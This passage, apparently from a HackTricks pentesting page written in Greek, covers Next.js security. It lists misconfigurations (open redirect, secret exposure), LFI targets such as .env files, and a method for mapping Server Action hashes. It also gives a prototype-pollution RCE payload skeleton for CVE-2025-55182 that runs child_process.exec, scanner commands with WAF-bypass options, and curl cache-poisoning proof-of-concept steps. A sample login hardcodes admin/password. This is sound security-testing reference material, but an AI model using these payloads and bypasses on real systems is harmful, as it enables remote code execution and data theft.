  • '*': Επιτρέπει τη φόρτωση εικόνων από οποιαδήποτε εξωτερική πηγή, συμπεριλαμβανομένων μη αξιόπιστων ή κακόβουλων domains. Οι επιτιθέμενοι μπορούν να φιλοξενήσουν εικόνες που περιέχουν κακόβουλο payload ή περιεχόμενο που παραπλανά τους χρήστες.
  • Ένα άλλο πρόβλημα μπορεί να είναι να επιτρέπεται ένα domain όπου ο καθένας μπορεί να ανεβάσει μια εικόνα (όπως raw.githubusercontent.com)

Πώς το εκμεταλλεύονται οι επιτιθέμενοι:

Με την έγχυση εικόνων από κακόβουλες πηγές, οι επιτιθέμενοι μπορούν να πραγματοποιήσουν phishing attacks, να εμφανίσουν παραπλανητικές πληροφορίες ή να εκμεταλλευτούν ευπάθειες σε βιβλιοθήκες απόδοσης εικόνας.

Έκθεση Περιβαλλοντικών Μεταβλητών

Διαχειριστείτε ευαίσθητες πληροφορίες όπως API keys και διαπιστευτήρια βάσης δεδομένων με ασφάλεια χωρίς να τις εκθέτετε στον πελάτη.

a. Έκθεση Ευαίσθητων Μεταβλητών

Κακό Παράδειγμα Διαμόρφωσης:

// next.config.js

module.exports = {
env: {
SECRET_API_KEY: process.env.SECRET_API_KEY, // Exposed to the client
NEXT_PUBLIC_API_URL: process.env.NEXT_PUBLIC_API_URL, // Correctly prefixed for client
},
}

Πρόβλημα:

  • SECRET_API_KEY: Χωρίς το πρόθεμα NEXT_PUBLIC_, το Next.js δεν εκθέτει μεταβλητές στον client. Ωστόσο, αν προστεθεί κατά λάθος πρόθεμα (π.χ. NEXT_PUBLIC_SECRET_API_KEY), γίνεται προσβάσιμος από τον client.

Πώς το εκμεταλλεύονται οι επιτιθέμενοι:

Αν ευαίσθητες μεταβλητές εκτεθούν στον client, οι επιτιθέμενοι μπορούν να τις ανακτήσουν εξετάζοντας τον client-side κώδικα ή τα αιτήματα δικτύου, αποκτώντας μη εξουσιοδοτημένη πρόσβαση σε APIs, βάσεις δεδομένων ή άλλες υπηρεσίες.

Ανακατευθύνσεις

Διαχειριστείτε τις URL redirections και rewrites μέσα στην εφαρμογή σας, διασφαλίζοντας ότι οι χρήστες κατευθύνονται σωστά χωρίς να εισάγετε ευπάθειες open redirect.

a. Open Redirect Vulnerability

Κακό Παράδειγμα Διαμόρφωσης:

// next.config.js

module.exports = {
async redirects() {
return [
{
source: "/redirect",
destination: (req) => req.query.url, // Dynamically redirects based on query parameter
permanent: false,
},
]
},
}

Πρόβλημα:

  • Dynamic Destination: Επιτρέπει στους χρήστες να καθορίσουν οποιοδήποτε URL, επιτρέποντας open redirect attacks.
  • Εμπιστοσύνη στην είσοδο χρήστη: Η ανακατεύθυνση σε URLs που παρέχονται από χρήστες χωρίς έλεγχο μπορεί να οδηγήσει σε phishing, malware distribution, ή credential theft.

Πώς το εκμεταλλεύονται οι επιτιθέμενοι:

Οι επιτιθέμενοι μπορούν να δημιουργήσουν URLs που φαίνεται να προέρχονται από το domain σας αλλά ανακατευθύνουν τους χρήστες σε κακόβουλους ιστότοπους. Για παράδειγμα:

https://yourdomain.com/redirect?url=https://malicious-site.com

Χρήστες που εμπιστεύονται το αρχικό domain μπορεί άθελά τους να μεταβούν σε κακόβουλες ιστοσελίδες.

Διαμόρφωση Webpack

Προσαρμόστε τις ρυθμίσεις Webpack για την εφαρμογή Next.js σας, κάτι που μπορεί ανεπιθύμητα να εισάγει ευπάθειες ασφαλείας αν δεν γίνει με προσοχή.

a. Αποκάλυψη Ευαίσθητων Modules

Παράδειγμα Κακής Διαμόρφωσης:

// next.config.js

module.exports = {
webpack: (config, { isServer }) => {
if (!isServer) {
config.resolve.alias["@sensitive"] = path.join(__dirname, "secret-folder")
}
return config
},
}

Πρόβλημα:

  • Αποκάλυψη Ευαίσθητων Διαδρομών: Η αντιστοίχιση (aliasing) ευαίσθητων καταλόγων και η παροχή client-side πρόσβασης μπορούν να leak εμπιστευτικές πληροφορίες.
  • Συσκευασία Μυστικών: Εάν ευαίσθητα αρχεία bundled για τον client, το περιεχόμενό τους γίνεται προσβάσιμο μέσω source maps ή με την επιθεώρηση του client-side code.

Πώς οι attackers το εκμεταλλεύονται:

Οι attackers μπορούν να αποκτήσουν πρόσβαση ή να ανακατασκευάσουν τη δομή καταλόγων της εφαρμογής, ενδεχομένως εντοπίζοντας και εκμεταλλευόμενοι ευαίσθητα αρχεία ή δεδομένα.

pages/_app.js and pages/_document.js

pages/_app.js

Σκοπός: Επικαλύπτει το προεπιλεγμένο App component, επιτρέποντας global state, styles και layout components.

Περιπτώσεις χρήσης:

  • Εισαγωγή global CSS.
  • Προσθήκη layout wrappers.
  • Ενσωμάτωση βιβλιοθηκών διαχείρισης state.

Παράδειγμα:

// pages/_app.js
import "../styles/globals.css"

function MyApp({ Component, pageProps }) {
return <Component {...pageProps} />
}

export default MyApp

pages/_document.js

Σκοπός: Αντικαθιστά το προεπιλεγμένο Document, επιτρέποντας την προσαρμογή των tags <html> και <body>.

Περιπτώσεις χρήσης:

  • Τροποποίηση των tags <html> ή <body>.
  • Προσθήκη meta tags ή προσαρμοσμένων scripts.
  • Ενσωμάτωση γραμματοσειρών τρίτων.

Παράδειγμα:

// pages/_document.js
import Document, { Html, Head, Main, NextScript } from "next/document"

class MyDocument extends Document {
render() {
return (
<Html lang="en">
<Head>{/* Custom fonts or meta tags */}</Head>
<body>
<Main />
<NextScript />
</body>
</Html>
)
}
}

export default MyDocument

Προσαρμοσμένος διακομιστής (Προαιρετικό)

Σκοπός: Αν και το Next.js συνοδεύεται από ενσωματωμένο διακομιστή, μπορείτε να δημιουργήσετε έναν προσαρμοσμένο διακομιστή για προχωρημένες περιπτώσεις χρήσης, όπως προσαρμοσμένη δρομολόγηση ή ενσωμάτωση με υπάρχουσες υπηρεσίες backend.

Σημείωση: Η χρήση προσαρμοσμένου διακομιστή μπορεί να περιορίσει τις επιλογές ανάπτυξης, ειδικά σε πλατφόρμες όπως Vercel που βελτιστοποιούν για τον ενσωματωμένο διακομιστή του Next.js.

Παράδειγμα:

// server.js
const express = require("express")
const next = require("next")

const dev = process.env.NODE_ENV !== "production"
const app = next({ dev })
const handle = app.getRequestHandler()

app.prepare().then(() => {
const server = express()

// Custom route
server.get("/a", (req, res) => {
return app.render(req, res, "/a")
})

// Default handler
server.all("*", (req, res) => {
return handle(req, res)
})

server.listen(3000, (err) => {
if (err) throw err
console.log("> Ready on http://localhost:3000")
})
})

Επιπλέον Αρχιτεκτονικές και Ζητήματα Ασφάλειας

Μεταβλητές Περιβάλλοντος και Διαμόρφωση

Σκοπός: Διαχείριση ευαίσθητων πληροφοριών και ρυθμίσεων διαμόρφωσης εκτός του κώδικα.

Βέλτιστες Πρακτικές:

  • Χρησιμοποιήστε αρχεία .env: Αποθηκεύστε μεταβλητές όπως API keys σε .env.local (αποκλεισμένο από τον έλεγχο έκδοσης).
  • Πρόσβαση σε μεταβλητές με ασφάλεια: Χρησιμοποιήστε process.env.VARIABLE_NAME για πρόσβαση σε μεταβλητές περιβάλλοντος.
  • Μην εκθέτετε ποτέ μυστικά στο Client: Βεβαιωθείτε ότι οι ευαίσθητες μεταβλητές χρησιμοποιούνται μόνο server-side.

Παράδειγμα:

// next.config.js
module.exports = {
env: {
API_KEY: process.env.API_KEY, // Accessible on both client and server
SECRET_KEY: process.env.SECRET_KEY, // Be cautious if accessible on the client
},
}

Σημείωση: Για να περιορίσετε τις μεταβλητές ώστε να είναι μόνο στην πλευρά του διακομιστή, παραλείψτε τες από το αντικείμενο env ή προθέστε NEXT_PUBLIC_ για να εκτεθούν στον client.

Χρήσιμα server artifacts για στόχευση μέσω LFI/download endpoints

Αν βρείτε μια path traversal ή download API σε μια εφαρμογή Next.js, στοχεύστε compiled artifacts που leak server-side secrets και auth logic:

  • .env / .env.local για session secrets και provider credentials.
  • .next/routes-manifest.json και .next/build-manifest.json για πλήρη λίστα routes.
  • .next/server/pages/api/auth/[...nextauth].js για ανάκτηση της compiled NextAuth διαμόρφωσης (συχνά περιέχει fallback passwords όταν οι τιμές του process.env δεν έχουν οριστεί).
  • next.config.js / next.config.mjs για να εξετάσετε rewrites, redirects και middleware routing.

Authentication and Authorization

Προσέγγιση:

  • Session-Based Authentication: Χρησιμοποιήστε cookies για τη διαχείριση των συνεδριών χρηστών.
  • Token-Based Authentication: Υλοποιήστε JWTs για authentication χωρίς κατάσταση.
  • Third-Party Providers: Ενσωμάτωση με OAuth providers (π.χ., Google, GitHub) χρησιμοποιώντας βιβλιοθήκες όπως next-auth.

Πρακτικές Ασφαλείας:

  • Secure Cookies: Ορίστε τα attributes HttpOnly, Secure, και SameSite.
  • Password Hashing: Πάντοτε κάντε hash τα passwords πριν τα αποθηκεύσετε.
  • Input Validation: Αποφύγετε επιθέσεις injection με την επικύρωση και τον καθαρισμό των εισόδων.

Παράδειγμα:

// pages/api/login.js
import { sign } from "jsonwebtoken"
import { serialize } from "cookie"

export default async function handler(req, res) {
const { username, password } = req.body

// Validate user credentials
if (username === "admin" && password === "password") {
const token = sign({ username }, process.env.JWT_SECRET, {
expiresIn: "1h",
})
res.setHeader(
"Set-Cookie",
serialize("auth", token, {
path: "/",
httpOnly: true,
secure: true,
sameSite: "strict",
})
)
res.status(200).json({ message: "Logged in" })
} else {
res.status(401).json({ error: "Invalid credentials" })
}
}

Βελτιστοποίηση Απόδοσης

Στρατηγικές:

  • Βελτιστοποίηση Εικόνας: Χρησιμοποιήστε το component next/image του Next.js για αυτόματη βελτιστοποίηση εικόνων.
  • Διαχωρισμός Κώδικα (Code Splitting): Χρησιμοποιήστε dynamic imports για να διαχωρίσετε τον κώδικα και να μειώσετε τους χρόνους αρχικής φόρτωσης.
  • Caching: Εφαρμόστε στρατηγικές caching για τις απαντήσεις API και τα στατικά assets.
  • Lazy Loading: Φορτώστε components ή assets μόνο όταν χρειάζονται.

Παράδειγμα:

// Dynamic Import with Code Splitting
import dynamic from "next/dynamic"

const HeavyComponent = dynamic(() => import("../components/HeavyComponent"), {
loading: () => <p>Loading...</p>,
})

Απαρίθμηση Next.js Server Actions (hash σε όνομα συνάρτησης μέσω source maps)

Η σύγχρονη Next.js χρησιμοποιεί «Server Actions» που εκτελούνται στον server αλλά καλούνται από τον client. Σε production αυτές οι κλήσεις είναι αδιαφανείς: όλα τα POSTs καταλήγουν σε ένα κοινό endpoint και διακρίνονται από ένα build-specific hash που αποστέλλεται στην κεφαλίδα Next-Action. Παράδειγμα:

POST /
Next-Action: a9f8e2b4c7d1...

Όταν είναι ενεργοποιημένο το productionBrowserSourceMaps, τα minified JS chunks περιέχουν κλήσεις προς createServerReference(...) που leak αρκετή δομή (συν τα αντίστοιχα source maps) για να ανακτήσετε μια αντιστοιχία μεταξύ του action hash και του αρχικού ονόματος της function. Αυτό σας επιτρέπει να μεταφράσετε τα hashes που παρατηρούνται στο Next-Action σε συγκεκριμένους στόχους όπως deleteUserAccount() ή exportFinancialData().

Προσέγγιση εξαγωγής (regex on minified JS + optional source maps)

Αναζητήστε τα κατεβασμένα JS chunks για createServerReference και εξάγετε το hash και το function/source symbol. Δύο χρήσιμα patterns:

# Strict pattern for standard minification
createServerReference\)"([a-f0-9]{40,})",\w+\.callServer,void 0,\w+\.findSourceMapURL,"([^"]+)"\)

# Flexible pattern handling various minification styles
createServerReference[^\"]*"([a-f0-9]{40,})"[^\"]*"([^"]+)"\s*\)
  • Ομάδα 1: server action hash (40+ hex chars)
  • Ομάδα 2: symbol ή path που μπορεί να επιλυθεί στο αρχικό όνομα συνάρτησης μέσω του source map όταν υπάρχει

Εάν το script δηλώνει ένα source map (trailer comment //# sourceMappingURL=<...>.map), fetch το και επίλυσε το symbol/path στο αρχικό όνομα συνάρτησης.

Πρακτική ροή εργασίας

  • Παθητική ανακάλυψη κατά την περιήγηση: καταγράψτε requests με Next-Action headers και JS chunk URLs.
  • Ανακτήστε τα αναφερόμενα JS bundles και τα συνοδευτικά *.map αρχεία (όταν υπάρχουν).
  • Τρέξτε το regex παραπάνω για να δημιουργήσετε ένα hash↔name dictionary.
  • Χρησιμοποιήστε το dictionary για στοχευμένο testing:
    • Ταξινόμηση βάσει ονόματος (π.χ., transferFunds, exportFinancialData).
    • Παρακολουθήστε την κάλυψη ανά builds με βάση το όνομα συνάρτησης (hashes αλλάζουν μεταξύ builds).

Εξάσκηση κρυφών actions (template-based request)

Χρησιμοποιήστε ένα έγκυρο POST που παρατηρήθηκε στο proxy ως πρότυπο και αντικαταστήστε την τιμή Next-Action για να στοχεύσετε άλλη ανακαλυφθείσα action:

# Before
Next-Action: a9f8e2b4c7d1

# After
Next-Action: b7e3f9a2d8c5

Αναπαραγωγή στο Repeater και δοκιμή εξουσιοδότησης, επικύρωσης εισόδου και επιχειρησιακής λογικής για ενέργειες που διαφορετικά δεν είναι προσβάσιμες.

Αυτοματισμός Burp

  • NextjsServerActionAnalyzer (Burp extension) αυτοματοποιεί τα παραπάνω στο Burp:
  • Σαρώνει το proxy history για JS chunks, εξάγει τις καταχωρήσεις createServerReference(...) και αναλύει τα source maps όταν είναι διαθέσιμα.
  • Διατηρεί ένα αναζητήσιμο hash↔function-name λεξικό και αφαιρεί διπλότυπα μεταξύ των builds με βάση το function name.
  • Μπορεί να εντοπίσει ένα έγκυρο template POST και να ανοίξει ένα έτοιμο προς αποστολή Repeater tab με το hash της στοχευόμενης ενέργειας αντικατεστημένο.
  • Repo: https://github.com/Adversis/NextjsServerActionAnalyzer

Σημειώσεις και περιορισμοί

  • Απαιτεί productionBrowserSourceMaps ενεργοποιημένο στο production για να ανακτήσει ονόματα από bundles/source maps.
  • Η αποκάλυψη function-name δεν αποτελεί από μόνη της ευπάθεια· χρησιμοποιήστε την για να καθοδηγήσετε την ανίχνευση και να ελέγξετε την εξουσιοδότηση κάθε ενέργειας.

React Server Components Flight protocol deserialization RCE (CVE-2025-55182)

Next.js App Router deployments that expose Server Actions on react-server-dom-webpack 19.0.0–19.2.0 (Next.js 15.x/16.x) contain a critical server-side prototype pollution during Flight chunk deserialization. By crafting $ references inside a Flight payload an attacker can pivot from polluted prototypes to arbitrary JavaScript execution and then to OS command execution inside the Node.js process.

NodeJS - proto & prototype Pollution

Αλυσίδα επίθεσης σε Flight chunks

  1. Prototype pollution primitive: Set "then": "$1:__proto__:then" so that the resolver writes a then function on Object.prototype. Any plain object processed afterwards becomes a thenable, letting the attacker influence async control flow inside RSC internals.
  2. Rebinding to the global Function constructor: Point _response._formData.get at "$1:constructor:constructor". During resolution, object.constructorObject, and Object.constructorFunction, so future calls to _formData.get() actually execute Function(...).
  3. Code execution via _prefix: Place JavaScript source in _response._prefix. When the polluted _formData.get is invoked, the framework evaluates Function(_prefix)(...), so the injected JS can run require('child_process').exec() or any other Node primitive.

Payload skeleton

{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B1337\"}",
"_response": {
"_prefix": "require('child_process').exec('id')",
"_chunks": "$Q2",
"_formData": { "get": "$1:constructor:constructor" }
}
}

Χαρτογράφηση της έκθεσης των React Server Functions

React Server Functions (RSF) είναι οποιεσδήποτε συναρτήσεις που περιέχουν το directive 'use server';. Κάθε form action, mutation ή fetch helper δεσμευμένο σε κάποια από αυτές τις συναρτήσεις γίνεται ένα RSC Flight endpoint που με ευκολία θα deserialize attacker-supplied payloads. Χρήσιμα βήματα αναγνώρισης που προέρχονται από αξιολογήσεις React2Shell:

  • Static inventory: αναζητήστε το directive για να κατανοήσετε πόσες RSFs εκτίθενται αυτόματα από το framework.
rg -n "'use server';" -g"*.{js,ts,jsx,tsx}" app/
  • App Router defaults: create-next-app ενεργοποιεί τον App Router + τον κατάλογο app/ από προεπιλογή, ο οποίος σιωπηλά μετατρέπει κάθε route σε RSC-capable endpoint. App Router assets όπως /_next/static/chunks/app/ ή responses που streamάρουν Flight chunks μέσω text/x-component είναι ισχυρά Internet-facing fingerprints.
  • Implicitly vulnerable RSC deployments: Η επίσημη συμβουλή της React σημειώνει ότι εφαρμογές που παραδίδουν το RSC runtime μπορεί να είναι εκμεταλλεύσιμες ακόμα και χωρίς explicit RSFs, οπότε θεωρήστε οποιοδήποτε build που χρησιμοποιεί react-server-dom-* 19.0.0–19.2.0 ως ύποπτο.
  • Other frameworks bundling RSC: Vite RSC, Parcel RSC, React Router RSC preview, RedwoodSDK, Waku, κ.λπ. επαναχρησιμοποιούν τον ίδιο serializer και κληρονομούν την ίδια remote attack surface μέχρι να ενσωματώσουν patched React builds.

Κάλυψη εκδόσεων (React2Shell)

  • react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack: ευάλωτα στις 19.0.0, 19.1.0–19.1.1 και 19.2.0; διορθωμένα στις 19.0.1, 19.1.2 και 19.2.1 αντίστοιχα.
  • Next.js stable: Οι App Router εκδόσεις 15.0.0–16.0.6 ενσωματώνουν το ευάλωτο RSC stack. Τα patch trains 15.0.5 / 15.1.9 / 15.2.6 / 15.3.6 / 15.4.8 / 15.5.7 / 16.0.7 περιλαμβάνουν fixed deps, οπότε οποιοδήποτε build κάτω από αυτές τις εκδόσεις είναι υψηλής αξίας.
  • Next.js canary: 14.3.0-canary.77+ επίσης μεταφέρει το buggy runtime και επί του παρόντος λείπουν patched canary drops, καθιστώντας αυτά τα fingerprints ισχυρούς υποψηφίους για εκμετάλλευση.

Απομακρυσμένο oracle ανίχνευσης

Assetnote’s react2shell-scanner στέλνει ένα crafted multipart Flight request σε υποψήφιες διαδρομές και παρακολουθεί τη συμπεριφορά στην πλευρά του server:

  • Default mode εκτελεί ένα deterministic RCE payload (math operation reflected via X-Action-Redirect) αποδεικνύοντας εκτέλεση κώδικα.
  • --safe-check mode σκόπιμα παραμορφώνει το Flight μήνυμα ώστε οι patched servers να επιστρέφουν 200/400, ενώ οι ευάλωτοι στόχοι εκπέμπουν HTTP/500 responses που περιέχουν το substring E{"digest" μέσα στο σώμα. Αυτό το ζευγάρι (500 + digest) είναι επί του παρόντος το πιο αξιόπιστο remote oracle που έχουν δημοσιεύσει οι αμυνόμενοι.
  • Οι ενσωματωμένες επιλογές --waf-bypass, --vercel-waf-bypass, και --windows προσαρμόζουν τη διάταξη του payload, προσθέτουν junk στην αρχή, ή αλλάζουν OS commands ώστε να μπορείτε να δοκιμάσετε πραγματικά Internet assets.
python3 scanner.py -u https://target.tld --path /app/api/submit --safe-check
python3 scanner.py -l hosts.txt -t 20 --waf-bypass -o vulnerable.json

Άλλα πρόσφατα ζητήματα του App Router (τέλη 2025)

  1. RSC DoS & source disclosure (CVE-2025-55184 / CVE-2025-67779 / CVE-2025-55183) – παραμορφωμένα Flight payloads μπορούν να οδηγήσουν τον RSC resolver σε άπειρο βρόχο (pre-auth DoS) ή να αναγκάσουν τη σειριοποίηση του compiled Server Function code για άλλες ενέργειες. Οι builds του App Router ≥13.3 επηρεάζονται μέχρι να είναι patched· οι 15.0.x–16.0.x χρειάζονται τις συγκεκριμένες γραμμές patch από το upstream advisory. Επαναχρησιμοποιήστε το κανονικό Server Action path αλλά streamάρετε ένα σώμα text/x-component με κακόβουλες αναφορές $. Πίσω από ένα CDN, η κρεμασμένη σύνδεση παραμένει ανοιχτή λόγω cache timeouts, κάνοντας το DoS φθηνό.
  • Triage tip: Unpatched targets επιστρέφουν 500 με E{"digest" μετά από παραμορφωμένα Flight payloads; patched builds επιστρέφουν 400/200. Test any endpoint already streaming Flight chunks (look for Next-Action headers or text/x-component responses) και replay με τροποποιημένο payload.
  1. RSC cache poisoning (CVE-2025-49005, App Router 15.3.0–15.3.2) – η έλλειψη του Vary επέτρεψε σε μια Accept: text/x-component απάντηση να μπει στην cache και να σερβιριστεί σε browsers που αναμένουν HTML. Ένα μόνο priming request μπορεί να αντικαταστήσει τη σελίδα με raw RSC payloads. PoC flow:
# Prime CDN with an RSC response
curl -k -H "Accept: text/x-component" "https://target/app/dashboard" > /dev/null
# Immediately fetch without Accept (victim view)
curl -k "https://target/app/dashboard" | head

If the second response returns JSON Flight data instead of HTML, the route is poisonable. Purge cache after testing.

References

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks